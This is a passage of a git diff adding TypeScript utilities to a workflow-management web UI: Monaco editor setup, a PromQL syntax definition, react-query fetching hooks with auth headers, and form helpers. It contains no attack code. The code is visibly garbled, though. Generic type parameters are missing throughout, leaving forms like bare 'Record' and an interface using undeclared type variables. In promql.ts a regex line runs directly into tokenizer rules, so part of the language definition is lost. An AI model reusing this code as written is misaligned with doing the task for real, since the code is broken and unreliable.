b/ui-next/src/utils/maybeTriggerWorkflow.ts @@ -0,0 +1,9 @@ +import { toMaybeQueryString } from "./toMaybeQueryString"; +import { featureFlags, FEATURES } from "utils/flags"; + +export const maybeTriggerFailureWorkflow = () => + toMaybeQueryString( + featureFlags.isEnabled(FEATURES.TRIGGER_WORKFLOW) + ? { triggerFailureWorkflow: true } + : {}, + ); diff --git a/ui-next/src/utils/monacoUtils/CodeEditorUtils.ts b/ui-next/src/utils/monacoUtils/CodeEditorUtils.ts new file mode 100644 index 0000000..3db6c5e --- /dev/null +++ b/ui-next/src/utils/monacoUtils/CodeEditorUtils.ts @@ -0,0 +1,43 @@ +import { + workflowDefinitionSchemaWithDeps, + workflowSchema, +} from "types/Schemas"; +import _initial from "lodash/initial"; +// @ts-ignore +import { registerJQLanguageDefinition } from "monaco-languages-jq"; +import { registerPromQlLangauge } from "./promql"; + +export const JSON_FILE_NAME = "file:///main.json"; +export const JSON_FILE_TASK_NAME = "file:///mainTask.json"; + +export function configureMonaco(monaco: any) { + const modelUri = monaco.Uri.parse(JSON_FILE_NAME); + + const workflowSchemaUri = { + uri: workflowSchema.$id, + fileMatch: [modelUri.toString()], // associate with our model + schema: workflowSchema, + }; + + const schemasWithURI = _initial(workflowDefinitionSchemaWithDeps).map( + (original) => ({ + uri: original.$id, + schema: original, + }), + ); + // @ts-ignore + const result = [workflowSchemaUri].concat(schemasWithURI); + + monaco.languages.json.jsonDefaults.setDiagnosticsOptions({ + validate: true, + schemas: result, + }); +} + +export const configurePromQl = (monaco: any) => { + registerPromQlLangauge(monaco); +}; + +export const configureJQLanguage = (monaco: any) => { + registerJQLanguageDefinition(monaco); +}; diff --git a/ui-next/src/utils/monacoUtils/promql.ts b/ui-next/src/utils/monacoUtils/promql.ts new file mode 100644 index 0000000..9c9ae23 --- /dev/null +++ b/ui-next/src/utils/monacoUtils/promql.ts @@ -0,0 +1,319 @@ +// noinspection JSUnusedGlobalSymbols +const languageConfiguration = { + // the default separators except `@$` + // eslint-disable-next-line + wordPattern: /(-?\d*\.\d\w*)|([^`~!#%^&*()\-=+\[{\]}\\|;:'",.<>\/?\s]+)/g, + // Not possible to make comments in PromQL syntax + comments: { + lineComment: "#", + }, + brackets: [ + ["{", "}"], + ["[", "]"], + ["(", ")"], + ], + autoClosingPairs: [ + { open: "{", close: "}" }, + { open: "[", close: "]" }, + { open: "(", close: ")" }, + { open: '"', close: '"' }, + { open: "'", close: "'" }, + ], + surroundingPairs: [ + { open: "{", close: "}" }, + { open: "[", close: "]" }, + { open: "(", close: ")" }, + { open: '"', close: '"' }, + { open: "'", close: "'" }, + { open: "<", close: ">" }, + ], + folding: {}, +}; + +// PromQL Aggregation Operators +// (https://prometheus.io/docs/prometheus/latest/querying/operators/#aggregation-operators) +const aggregations = [ + "sum", + "min", + "max", + "avg", + "group", + "stddev", + "stdvar", + "count", + "count_values", + "bottomk", + "topk", + "quantile", +]; + +// PromQL functions +// (https://prometheus.io/docs/prometheus/latest/querying/functions/) +const functions = [ + "abs", + "absent", + "ceil", + "changes", + "clamp_max", + "clamp_min", + "day_of_month", + "day_of_week", + "days_in_month", + "delta", + "deriv", + "exp", + "floor", + "histogram_quantile", + "holt_winters", + "hour", + "idelta", + "increase", + "irate", + "label_join", + "label_replace", + "ln", + "log2", + "log10", + "minute", + "month", + "predict_linear", + "rate", + "resets", + "round", + "scalar", + "sort", + "sort_desc", + "sqrt", + "time", + "timestamp", + "vector", + "year", +]; + +// PromQL specific functions: Aggregations over time +// (https://prometheus.io/docs/prometheus/latest/querying/functions/#aggregation_over_time) +const aggregationsOverTime = []; +for (const agg of aggregations) { + aggregationsOverTime.push(agg + "_over_time"); +} + +// PromQL vector matching + the by and without clauses +// (https://prometheus.io/docs/prometheus/latest/querying/operators/#vector-matching) +const vectorMatching = [ + "on", + "ignoring", + "group_right", + "group_left", + "by", + "without", +]; +// Produce a regex matching elements : (elt1|elt2|...) +const vectorMatchingRegex = `(${vectorMatching.reduce( + (prev, curr) => `${prev}|${curr}`, +)})`; + +// PromQL Operators +// (https://prometheus.io/docs/prometheus/latest/querying/operators/) +const operators = [ + "+", + "-", + "*", + "/", + "%", + "^", + "==", + "!=", + ">", + "<", + ">=", + "<=", + "and", + "or", + "unless", +]; + +// PromQL offset modifier +// (https://prometheus.io/docs/prometheus/latest/querying/basics/#offset-modifier) +const offsetModifier = ["offset"]; + +// Merging all the keywords in one list +const keywords = aggregations + .concat(functions) + .concat(aggregationsOverTime) + .concat(vectorMatching) + .concat(offsetModifier); + +// noinspection JSUnusedGlobalSymbols +const language = { + ignoreCase: false, + defaultToken: "", + tokenPostfix: ".promql", + + keywords: keywords, + + operators: operators, + vectorMatching: vectorMatchingRegex, + + // we include these common regular expressions + + // eslint-disable-next-line + symbols: /[=>](?!@symbols)/, "@brackets"], + [ + /@symbols/, + { + cases: { + "@operators": "delimiter", + "@default": "", + }, + }, + ], + + // numbers + [/\d+[smhdwy]/, "number"], // 24h, 5m are often encountered in prometheus + + // eslint-disable-next-line + [/\d*\d+[eE]([\-+]?\d+)?(@floatsuffix)/, "number.float"], + + // eslint-disable-next-line + [/\d*\.\d+([eE][\-+]?\d+)?(@floatsuffix)/, "number.float"], + [/0[xX][0-9a-fA-F']*[0-9a-fA-F](@integersuffix)/, "number.hex"], + [/0[0-7']*[0-7](@integersuffix)/, "number.octal"], + [/0[bB][0-1']*[0-1](@integersuffix)/, "number.binary"], + [/\d[\d']*\d(@integersuffix)/, "number"], + [/\d(@integersuffix)/, "number"], + ], + + string_double: [ + [/[^\\"]+/, "string"], + [/@escapes/, "string.escape"], + [/\\./, "string.escape.invalid"], + [/"/, "string", "@pop"], + ], + + string_single: [ + [/[^\\']+/, "string"], + [/@escapes/, "string.escape"], + [/\\./, "string.escape.invalid"], + [/'/, "string", "@pop"], + ], + + string_backtick: [ + [/[^\\`$]+/, "string"], + [/@escapes/, "string.escape"], + [/\\./, "string.escape.invalid"], + [/`/, "string", "@pop"], + ], + + clauses: [ + [/[^(,)]/, "tag"], + [/\)/, "identifier", "@pop"], + ], + + whitespace: [[/[ \t\r\n]+/, "white"]], + }, +}; + +// noinspection JSUnusedGlobalSymbols +const loadLanguage = (monaco: any) => ({ + id: "promql", + extensions: [".promql"], + aliases: [ + "Prometheus", + "prometheus", + "prom", + "Prom", + "promql", + "Promql", + "promQL", + "PromQL", + ], + mimetypes: [], + loader: () => + Promise.resolve({ + language, + languageConfiguration, + completionItemProvider: { + provideCompletionItems: () => { + // To simplify, we made the choice to never create automatically the parenthesis behind keywords + // It is because in PromQL, some keywords need parenthesis behind, some don't, some can have but it's optional. + const suggestions = keywords.map((value) => { + return { + label: value, + kind: monaco.languages.CompletionItemKind.Keyword, + insertText: value, + insertTextRules: + monaco.languages.CompletionItemInsertTextRule.InsertAsSnippet, + }; + }); + + return { suggestions }; + }, + }, + }), +}); + +export const registerPromQlLangauge = (monaco: any) => { + const promLanguageDefinition = loadLanguage(monaco); + const languageId = promLanguageDefinition.id; + monaco.languages.register(promLanguageDefinition); + monaco.languages.onLanguage(languageId, () => { + promLanguageDefinition.loader().then((mod) => { + monaco.languages.setMonarchTokensProvider(languageId, mod.language); + monaco.languages.setLanguageConfiguration( + languageId, + mod.languageConfiguration, + ); + monaco.languages.registerCompletionItemProvider( + languageId, + mod.completionItemProvider, + ); + }); + }); +}; diff --git a/ui-next/src/utils/monitoring.ts b/ui-next/src/utils/monitoring.ts new file mode 100644 index 0000000..0552c76 --- /dev/null +++ b/ui-next/src/utils/monitoring.ts @@ -0,0 +1,22 @@ +import { isLogRocketEnabled, reportErrorToLogRocket } from "./logrocket"; + +export const useErrorMonitoring = () => { + return { + notifyError: (error: Error | string, metadata?: { [key: string]: any }) => { + if (isLogRocketEnabled()) { + reportErrorToLogRocket(error, { + tags: { + type: "metadata", + }, + extra: { + ...metadata, + }, + }); + } else { + console.error("=== ERROR ==="); + console.error(error); + console.error("============="); + } + }, + }; +}; diff --git a/ui-next/src/utils/object.ts b/ui-next/src/utils/object.ts new file mode 100644 index 0000000..ee0e838 --- /dev/null +++ b/ui-next/src/utils/object.ts @@ -0,0 +1,51 @@ +import _isPlainObject from "lodash/isPlainObject"; +import _isArray from "lodash/isArray"; + +export const replaceValues = ( + obj: Record, + value: string | number, + newValue: string | number, +) => { + const arrayReplacer = (iv: unknown): unknown => { + if (typeof iv === "string" || typeof iv === "number") { + return iv === value ? newValue : iv; + } else if (_isPlainObject(iv)) { + return replaceValues( + iv as Record, + value, + newValue, + ); + } else if (_isArray(iv)) { + return iv.map(arrayReplacer); + } + return iv; + }; + + return Object.fromEntries( + Object.entries(obj).map(([key, val]): [string | number, unknown] => { + if (_isPlainObject(val)) { + return [ + key, + replaceValues( + val as Record, + value, + newValue, + ), + ]; + } else if (_isArray(val)) { + return [key, val.map(arrayReplacer)]; + } else if (val === value) { + return [key, newValue]; + } + return [key, val]; + }), + ); +}; +export const flipObject = (obj: Record) => + Object.fromEntries(Object.entries(obj).map((a) => a.reverse())); + +export const isObjectOrArray = (value: any): boolean => + (typeof value === "object" && value !== null) || Array.isArray(value); + +export const isObjectOnlyNotArray = (value: any): boolean => + typeof value === "object" && value !== null && !Array.isArray(value); diff --git a/ui-next/src/utils/pipe.ts b/ui-next/src/utils/pipe.ts new file mode 100644 index 0000000..5714359 --- /dev/null +++ b/ui-next/src/utils/pipe.ts @@ -0,0 +1,30 @@ +interface Pipe { + (value: A): A; + (value: A, fn1: (input: A) => B): B; + (value: A, fn1: (input: A) => B, fn2: (input: B) => C): C; + ( + value: A, + fn1: (input: A) => B, + fn2: (input: B) => C, + fn3: (input: C) => D, + ): D; + ( + value: A, + fn1: (input: A) => B, + fn2: (input: B) => C, + fn3: (input: C) => D, + fn4: (input: D) => E, + ): E; + ( + value: A, + fn1: (input: A) => B, + fn2: (input: B) => C, + fn3: (input: C) => D, + fn4: (input: D) => E, + fn5: (input: E) => F, + ): F; +} + +export const pipe: Pipe = (value: any, ...fns: any[]): unknown => { + return fns.reduce((acc, fn) => fn(acc), value); +}; diff --git a/ui-next/src/utils/query.ts b/ui-next/src/utils/query.ts new file mode 100644 index 0000000..a0c403e --- /dev/null +++ b/ui-next/src/utils/query.ts @@ -0,0 +1,809 @@ +import _get from "lodash/get"; +import _isEmpty from "lodash/isEmpty"; +import _sortBy from "lodash/sortBy"; +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import { pluginRegistry } from "plugins/registry"; +import qs from "qs"; +import { useMemo } from "react"; +import { + useInfiniteQuery, + useMutation, + UseMutationOptions, + UseMutationResult, + useQuery, + useQueryClient, + UseQueryOptions, + UseQueryResult, +} from "react-query"; +import { useLocation, useNavigate } from "react-router"; +import { getAccessToken as getAccessTokenStub } from "components/features/auth/tokenManagerJotai"; + +// Get access token from plugin registry (enterprise) or fallback to stub (OSS) +function getAccessToken(): string | null { + // Try plugin registry first (enterprise) + const pluginToken = pluginRegistry.getAccessToken(); + if (pluginToken) { + return pluginToken; + } + // Fallback to stub (OSS - always returns null) + return getAccessTokenStub(); +} +import { WorkflowDef } from "types/WorkflowDef"; +import { AuthHeaders, IObject } from "types/common"; +import { + getUniqueWorkflows, + getUniqueWorkflowsWithVersions, +} from "utils/workflow"; +import { + TASK_EXECUTIONS_SEARCH_URL, + WORKFLOW_METADATA_SHORT_URL, +} from "./constants/api"; +import { HttpStatusCode } from "./constants/httpStatusCode"; +import { ERROR_URL } from "./constants/route"; +import { featureFlags, FEATURES } from "./flags"; +import { logger } from "./logger"; + +// Type definitions +export interface SearchObj { + rowsPerPage: number; + page: number; + sort?: string; + freeText?: string; + query?: string; + queryId?: string; + /** + * Optional classifier filter (comma-separated, e.g. "workflow" or "agent"). + * Passed through as a dedicated REST param (not folded into `query`) so it + * applies uniformly whether the caller built its query via dropdowns or + * hand-typed it in the Advanced search editor. + */ + classifier?: string; +} + +export interface TaskSearchObj extends Omit { + searchReady?: boolean; +} + +export interface SearchResult { + results: T[]; + totalHits: number; +} + +export interface PollData { + workerId?: string; + domain?: string; + lastPollTime?: number; +} + +export interface TaskQueueInfo { + size?: number; + pollData?: PollData[]; +} + +export interface QueueInfo { + name: string; + size: number; +} + +// Keep MutateParams flexible to allow any additional properties +export interface MutateParams { + path?: string; + method?: string; + body?: any; + [key: string]: any; +} + +// FetchError is any Response-like object with status - kept permissive for backward compatibility +type FetchError = any; + +/** Options for {@link useFetch} — extends react-query options with enterprise API gating. */ +export type UseFetchQueryOptions = Partial< + UseQueryOptions +> & { + /** When set, request runs only if this feature flag is on (AND with normal fetch/auth readiness). */ + enterpriseApiFeature?: string; + /** AND with the resolved enabled state (e.g. `Boolean(id)` for keyed routes). Default true. */ + when?: boolean; +}; + +// Constants +export const STALE_TIME_DROPDOWN = 600000; // 10 mins +export const STALE_TIME_WORKFLOW_DEFS = 600000; // 10 mins +export const STALE_TIME_SECRET_NAMES = 60000; // 1 min +export const STALE_TIME_SEARCH = 60000; // 1 min +export const DEFAULT_STALE_TIME = 5000; // 5 Seconds +export const AUTH_HEADER_NAME = "X-Authorization"; + +/** Same predicate as the default `enabled` option inside {@link useFetch} (fetch ready + auth rules). */ +export function computeFetchBaseEnabled( + fetchContext: { ready: boolean }, + headers: AuthHeaders, +): boolean { + return ( + fetchContext.ready && + (headers[AUTH_HEADER_NAME] !== undefined || + !featureFlags.isEnabled(FEATURES.ACCESS_MANAGEMENT)) + ); +} + +export function useFetch( + path: string, + reactQueryOptions?: UseFetchQueryOptions, + fetchOptions: IObject = {}, + optionalKey?: string, +): UseQueryResult { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + const navigate = useNavigate(); + const location = useLocation(); + const { + enterpriseApiFeature, + when = true, + enabled: enabledOption, + ...queryOpts + } = reactQueryOptions ?? {}; + + const baseEnabled = computeFetchBaseEnabled( + fetchContext, + fetchParams.headers, + ); + const featureGated = + enterpriseApiFeature != null + ? baseEnabled && featureFlags.isEnabled(enterpriseApiFeature) + : baseEnabled; + const mergedEnabled = featureGated && when; + const resolvedEnabled = + enabledOption !== undefined ? enabledOption : mergedEnabled; + + const query = useQuery( + optionalKey == null + ? [fetchContext.stack, path] + : [fetchContext.stack, path, optionalKey], + () => + fetchWithContext(path, fetchContext, { ...fetchParams, ...fetchOptions }), + { + // In OSS mode (ACCESS_MANAGEMENT disabled), always enabled when fetchContext is ready + keepPreviousData: true, + retry: (failureCount: number, error: FetchError) => { + // Don't retry on 403 or 401 + if (error?.status === 403 || error?.status === 401) return false; + return failureCount < 3; + }, + ...queryOpts, + enabled: resolvedEnabled, + }, + ); + + const statusCode = query?.error?.status; + + // Handle 401 errors by navigating to error page + // In OSS mode, 401 errors shouldn't normally occur since there's no authentication + if (query.isError && statusCode === HttpStatusCode.Unauthorized) { + try { + // Skip navigation for apigateway paths + if (path.startsWith("/gateway")) { + return query; + } + + logger.warn("[useFetch] 401 error, navigating to error page"); + + query.error + ?.clone() + ?.json() + ?.then((result: any) => { + const params = [`code=${statusCode}`]; + if (result?.message) params.push(`message=${result.message}`); + if (result?.error) params.push(`error=${result.error}`); + + if (location.pathname !== ERROR_URL) { + navigate(`${ERROR_URL}?${params.join("&")}`); + } + }); + } catch (error) { + logger.error("[useFetch] error: ", error); + } + } + + return query; +} + +export function useAuthHeaders(): AuthHeaders { + const accessToken = getAccessToken(); + if (accessToken) { + return { [AUTH_HEADER_NAME]: accessToken }; + } + + return {}; +} + +export function useWorkflowSearch( + searchObj: SearchObj, + queryOption: Partial> = {}, + queryOptionOverride: Partial> = {}, +): UseQueryResult { + return useSearch( + searchObj, + "/workflow/search?", + queryOption, + queryOptionOverride, + ); +} + +export function useSchedulerSearch( + searchObj: SearchObj, +): UseQueryResult { + return useSearch(searchObj, "/scheduler/search/executions?"); +} + +export function useTaskExecutionsSearch( + searchObj: SearchObj, + queryOptionOverride: Partial> = {}, +): UseQueryResult { + return useSearch( + searchObj, + TASK_EXECUTIONS_SEARCH_URL, + {}, + queryOptionOverride, + ); +} + +export function useSearch( + searchObj: SearchObj, + pathRoot: string, + queryOption: Partial> = {}, + queryOptionsOverride: Partial> = {}, +): UseQueryResult { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + + return useQuery( + [fetchContext.stack, pathRoot, searchObj], + () => { + const { rowsPerPage, page, sort, freeText, query, classifier } = + searchObj; + let params: IObject = { + start: (page - 1) * rowsPerPage, + size: rowsPerPage, + sort: sort, + freeText: freeText, + query: query, + }; + if (classifier) { + params = { ...params, classifier }; + } + if (searchObj.queryId) { + params = { queryId: searchObj.queryId, ...params }; + } + const path = pathRoot + qs.stringify(params); + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: + typeof queryOption.enabled === "boolean" + ? queryOption.enabled + : fetchContext.ready, + keepPreviousData: true, + staleTime: STALE_TIME_SEARCH, + retry: (failureCount: number, error: FetchError) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount - 2 > 0; + }, + ...queryOptionsOverride, + }, + ); +} + +// @Deprecated +export function useTaskSearch({ + searchReady, + ...searchObj +}: TaskSearchObj & { searchReady?: boolean }) { + const fetchContext = useFetchContext(); + const queryClient = useQueryClient(); + const fetchParams = { headers: useAuthHeaders() }; + + const pathRoot = "/workflow/search-by-tasks?"; + const key = [fetchContext.stack, pathRoot, searchObj]; + + const infiniteQuery = useInfiniteQuery( + key, + ({ pageParam = 0 }) => { + const { rowsPerPage, sort, freeText, query } = searchObj; + + if (!searchReady) { + return Promise.resolve({ results: [] }); + } + + const path = + pathRoot + + qs.stringify({ + start: rowsPerPage * pageParam, + size: rowsPerPage, + sort: sort, + freeText: freeText, + query: query, + }); + return fetchWithContext(path, fetchContext, fetchParams); + }, + { + getNextPageParam: (_lastPage, pages) => pages.length, + }, + ); + + return { + ...infiniteQuery, + refetch: () => { + queryClient.refetchQueries(key); + }, + }; +} + +export function useTaskQueueInfo(taskName: string): { + data: TaskQueueInfo; + isFetching: boolean; +} { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + + const pollDataPath = `/tasks/queue/polldata?taskType=${taskName}`; + const sizePath = `/tasks/queue/sizes?taskType=${taskName}`; + + const { data: pollData, isFetching: pollDataFetching } = useQuery< + PollData[], + FetchError + >( + [fetchContext.stack, pollDataPath], + () => fetchWithContext(pollDataPath, fetchContext, fetchParams), + { + enabled: fetchContext.ready && !_isEmpty(taskName), + }, + ); + const { data: size, isFetching: sizeFetching } = useQuery< + Record, + FetchError + >( + [fetchContext.stack, sizePath], + () => fetchWithContext(sizePath, fetchContext, fetchParams), + { + enabled: fetchContext.ready && !_isEmpty(taskName), + }, + ); + + const taskQueueInfo = useMemo( + () => ({ size: _get(size, [taskName]), pollData: pollData }), + [taskName, pollData, size], + ); + + return { + data: taskQueueInfo, + isFetching: pollDataFetching || sizeFetching, + }; +} + +export function useAction( + path: string, + method = "post", + callbacks?: any, + isText?: boolean, +) { + const fetchContext = useFetchContext(); + const authHeaders = useAuthHeaders(); + + return useMutation( + (mutateParams) => + fetchWithContext( + path, + fetchContext, + { + method, + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: _get(mutateParams, "body"), + }, + isText, + ), + callbacks, + ); +} + +export function useActionWithPath( + callbacks?: UseMutationOptions, + isText?: boolean, + throwOnError?: boolean, +): UseMutationResult { + const fetchContext = useFetchContext(); + const authHeaders = useAuthHeaders(); + return useMutation((mutateParams) => { + const actionPath = _get(mutateParams, "path") as string; + const method = _get(mutateParams, "method") as string; + const contentType = isText ? "text/plain" : "application/json"; + return fetchWithContext( + actionPath, + fetchContext, + { + method, + headers: { + "Content-Type": contentType, + ...authHeaders, + }, + body: _get(mutateParams, "body"), + }, + isText, + throwOnError, + ); + }, callbacks); +} + +export function useUsersListing(includeApps = false) { + const { data, ...rest } = useFetch(`/users?apps=${includeApps}`, { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: useMemo(() => (data ? data : []), [data]), + ...rest, + }; +} + +export function useWorkflowDefs( + optionsOverride: Partial> = {}, +): UseQueryResult { + return useFetch(WORKFLOW_METADATA_SHORT_URL, { + staleTime: DEFAULT_STALE_TIME, + ...optionsOverride, + }); +} + +export function useWorkflowNames( + optionsOverride: Partial> = {}, +): string[] { + const { data } = useWorkflowDefs(optionsOverride); + + // Filter latest versions only + const workflows = useMemo(() => { + if (data) { + return getUniqueWorkflows(data); + } + }, [data]); + + return useMemo( + () => (workflows ? workflows.map((def) => def.name) : []), + [workflows], + ); +} + +export const useSharedQueryContext = (): { + url: string; + cacheQueryKey: (string | undefined)[]; + fetchContext: ReturnType; +} => { + const fetchContext = useFetchContext(); + const url = WORKFLOW_METADATA_SHORT_URL; + const cacheQueryKey = [fetchContext.stack, url]; + return { url, cacheQueryKey: cacheQueryKey, fetchContext }; +}; + +export const usePrefetchWorkflows = (): void => { + const headers = useAuthHeaders(); + const { url, fetchContext, cacheQueryKey } = useSharedQueryContext(); + const queryClient = useQueryClient(); + + // In OSS mode, always prefetch (no authentication check needed) + const fetchParams = { headers }; + queryClient.prefetchQuery({ + queryKey: cacheQueryKey, + queryFn: () => fetchWithContext(url, fetchContext, fetchParams), + staleTime: STALE_TIME_WORKFLOW_DEFS, + }); +}; + +// Version numbers do not necessarily start, or run contiguously from 1. Could arbitrary integers e.g. 52335678. +// By convention they should be monotonic (ever increasing) wrt time. +// @Deprecated use useWorkflowNamesAndVersionsQuery instead +export function useWorkflowNamesAndVersions(): Map { + const { url } = useSharedQueryContext(); + const { data } = useFetch(url, { + staleTime: STALE_TIME_WORKFLOW_DEFS, + }); + + return useMemo(() => getUniqueWorkflowsWithVersions(data), [data]); +} + +export function useWorkflowDefsByVersions({ + queryParams = {}, +}: { queryParams?: IObject | string } = {}) { + const queryString = + typeof queryParams === "object" && !Array.isArray(queryParams) + ? qs.stringify(queryParams, { addQueryPrefix: true }) + : queryParams; + + const { data } = useFetch(`/metadata/workflow${queryString}`, { + staleTime: STALE_TIME_WORKFLOW_DEFS, + }); + + return useMemo(() => { + const retval = new Map(); + const lookups = new Map(); + const values = new Map(); + if (data) { + for (const def of data) { + let lArr: any[]; + let vMap: Map; + if (!lookups.has(def.name)) { + lArr = []; + vMap = new Map(); + lookups.set(def.name, lArr); + values.set(def.name, vMap); + } else { + lArr = lookups.get(def.name); + vMap = values.get(def.name); + } + lArr.push(def.version.toString()); // Someone will eventually come back to this. + vMap.set(def.version.toString(), def); + } + + // Sort arrays in place + lookups.forEach((val, key) => { + // Sort versions + lookups.set( + key, + _sortBy(val, (val) => Number(val)), + ); + }); + } + + retval.set("lookups", lookups); + retval.set("values", values); + + return retval; + }, [data]); +} + +export function useTaskNames(access?: string) { + const queryParams = access ? `?access=${access}` : ""; + const { data } = useFetch(`/metadata/taskdefs${queryParams}`, { + staleTime: STALE_TIME_DROPDOWN, + }); + return useMemo( + () => + data ? Array.from(new Set(data.map((def: any) => def.name))).sort() : [], + [data], + ); +} + +export function useGroupsListing() { + const { data, ...rest } = useFetch("/groups", { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: useMemo(() => (data ? data : []), [data]), + ...rest, + }; +} + +export function useRolesListing() { + const { data, ...rest } = useFetch("/roles", { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: useMemo(() => (data ? data : []), [data]), + ...rest, + }; +} + +export function useCustomRolesListing() { + const { data, ...rest } = useFetch("/roles/custom", { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: useMemo(() => (data ? data : []), [data]), + ...rest, + }; +} + +export function useSystemRoles() { + const { data, ...rest } = useFetch("/roles/system", { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: useMemo(() => (data ? data : {}), [data]), + ...rest, + }; +} + +export function useAvailablePermissions() { + const { data, ...rest } = useFetch("/roles/permissions", { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: useMemo(() => (data?.permissions ? data.permissions : []), [data]), + ...rest, + }; +} + +export function useSingleRole(roleId?: string) { + const { data, ...rest } = useFetch(`/roles/${roleId}`, { + staleTime: DEFAULT_STALE_TIME, + enabled: !!roleId, + }); + return { + data: useMemo(() => data, [data]), + ...rest, + }; +} + +export function useGroupUsers(id: string) { + const { data, ...rest } = useFetch(`/groups/${id}/users`, { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: useMemo(() => (data ? data : []), [data]), + ...rest, + }; +} + +export function useUserById(id: string) { + const { data, ...rest } = useFetch(`/users/${id}`, { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: data || {}, + ...rest, + }; +} + +export function useUserPermissions(id: string) { + const { data, ...rest } = useFetch(`/users/${id}/permissions`, { + staleTime: DEFAULT_STALE_TIME, + }); + return { + data: useMemo(() => (data ? data : {}), [data]), + ...rest, + }; +} + +//TODO consider adding an API operation to get the Workflow definition names from the backend +export function useWorkflowDefNames(access?: string) { + const queryParams = access ? `?access=${access}` : ""; + const { data, ...rest } = useFetch( + `/metadata/workflow${queryParams}&short=true`, + { + staleTime: STALE_TIME_WORKFLOW_DEFS, + }, + ); + + const extractNames = (defs: WorkflowDef[]): string[] => { + const names = defs.map((def) => def.name); + return [...new Set(names)].sort(); + }; + + return { + data: data ? extractNames(data) : [], + ...rest, + }; +} + +export function useSecretNames(): string[] { + const { data } = useFetch(`/secrets`, { + staleTime: STALE_TIME_SECRET_NAMES, + }); + return data ? data : []; +} + +export function useAppListing() { + const { data, ...rest } = useFetch("/applications", { + staleTime: DEFAULT_STALE_TIME, + enterpriseApiFeature: FEATURES.ACCESS_MANAGEMENT, + }); + return { + data: data || [], + ...rest, + }; +} + +export function useApplicationById(id: string) { + const { data, ...rest } = useFetch(`/applications/${id}`, { + staleTime: DEFAULT_STALE_TIME, + enterpriseApiFeature: FEATURES.ACCESS_MANAGEMENT, + when: Boolean(id), + }); + return { + data: data || {}, + ...rest, + }; +} + +export function useAccessKeysListing(applicationId: string) { + const { data, ...rest } = useFetch( + `/applications/${applicationId}/accessKeys`, + { + staleTime: DEFAULT_STALE_TIME, + enterpriseApiFeature: FEATURES.ACCESS_MANAGEMENT, + when: Boolean(applicationId), + }, + ); + return { + data: data || [], + ...rest, + }; +} + +export const useCurrentUserInfo = (function () { + if (featureFlags.isEnabled(FEATURES.ACCESS_MANAGEMENT)) { + return () => { + return useFetch(`/token/userInfo`, { + staleTime: DEFAULT_STALE_TIME, + retry: false, // Don't retry when fetching token + }); + }; + } else { + // if access management is not enabled then just return data: {} + return () => { + return { data: {}, isFetching: false, isError: false } as const; + }; + } +})(); + +export const useAPIReleaseVersion = ({ + keys = [], + option, +}: { + keys?: string[]; + option?: any; +} = {}) => { + return useQuery( + keys, + () => fetchWithContext("/version", null as any, null as any, true), + { + staleTime: Infinity, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount - 2 > 0; + }, + onSuccess: (data: string) => { + localStorage.setItem("version", data); + }, + ...option, + }, + ); +}; + +export function useTags( + reactQueryOptions?: Partial>, +) { + const { data, ...rest } = useFetch("/metadata/tags", { + staleTime: DEFAULT_STALE_TIME, + ...reactQueryOptions, + }); + + return { + data, + ...rest, + }; +} + +export function useQueueDepth() { + const { data, ...rest } = useFetch("/tasks/queue/all", { + staleTime: DEFAULT_STALE_TIME, + }); + const myData: QueueInfo[] = []; + for (const i in data) { + const queueInfo = { name: i, size: data[i] }; + myData.push(queueInfo); + } + + // fitering internal queues + const filteredData = myData.filter((el) => !el.name.startsWith("_")); + + const sortedData = filteredData.sort((a, b) => b.size - a.size); + return { + data: sortedData, + ...rest, + }; +} diff --git a/ui-next/src/utils/reactHookForm.ts b/ui-next/src/utils/reactHookForm.ts new file mode 100644 index 0000000..ef76fc0 --- /dev/null +++ b/ui-next/src/utils/reactHookForm.ts @@ -0,0 +1,118 @@ +import _isArray from "lodash/isArray"; +import _isNull from "lodash/isNull"; +import _isObject from "lodash/isObject"; +import _mapValues from "lodash/mapValues"; +import _omitBy from "lodash/omitBy"; +import { FieldErrors, FieldValues } from "react-hook-form"; + +export const getEditorToFormValue = ( + formValues: FieldValues, + editorValue: FieldValues, + hiddenKeys: string[] = [], +): any => { + const result: FieldValues = {}; + + // Preserve the order of keys from obj2 + const editorValueKeys = Object.keys(editorValue); + + // Merge keys from both objects, but prioritize editorValue order + const mergedKeys = Array.from( + new Set([...editorValueKeys, ...Object.keys(formValues)]), + ); + + // Iterate over merged keys + mergedKeys.forEach((key) => { + // Check if key is not in hiddenKeys array + if (!hiddenKeys.includes(key)) { + // If key exists in editorValue + if (Object.prototype.hasOwnProperty.call(editorValue, key)) { + // If the value is null or undefined, handle accordingly + if (editorValue[key] === null || editorValue[key] === undefined) { + result[key] = editorValue[key]; + } else if ( + typeof editorValue[key] === "object" && + !Array.isArray(editorValue[key]) + ) { + // If the value is an object, recursively update + result[key] = getEditorToFormValue( + formValues[key] || {}, + editorValue[key], + hiddenKeys, + ); + } else if (Array.isArray(editorValue[key])) { + // If the value is an array, handle each element + result[key] = editorValue[key].map((item: any, index: number) => { + // If the element is an object, recursively update + if (typeof item === "object" && !Array.isArray(item)) { + return getEditorToFormValue( + formValues[key]?.[index] || {}, + item, + hiddenKeys, + ); + } + // Otherwise, return the element + return item; + }); + } else { + // Otherwise, assign the value directly + result[key] = editorValue[key]; + } + } else { + // If key does not exist in editorValue, set null + result[key] = null; + } + } else { + // Otherwise, keep the value from formValues + result[key] = formValues[key]; + } + }); + + return result; +}; + +export const getFormToEditorValue = ( + formValues: FieldValues, + hiddenKeys: string[] = [], +) => { + return JSON.stringify( + removeNullAndHiddenKeys(formValues, hiddenKeys), + null, + 2, + ); +}; + +export const getReactHookFormError = ( + errors: FieldErrors, +): string | null => 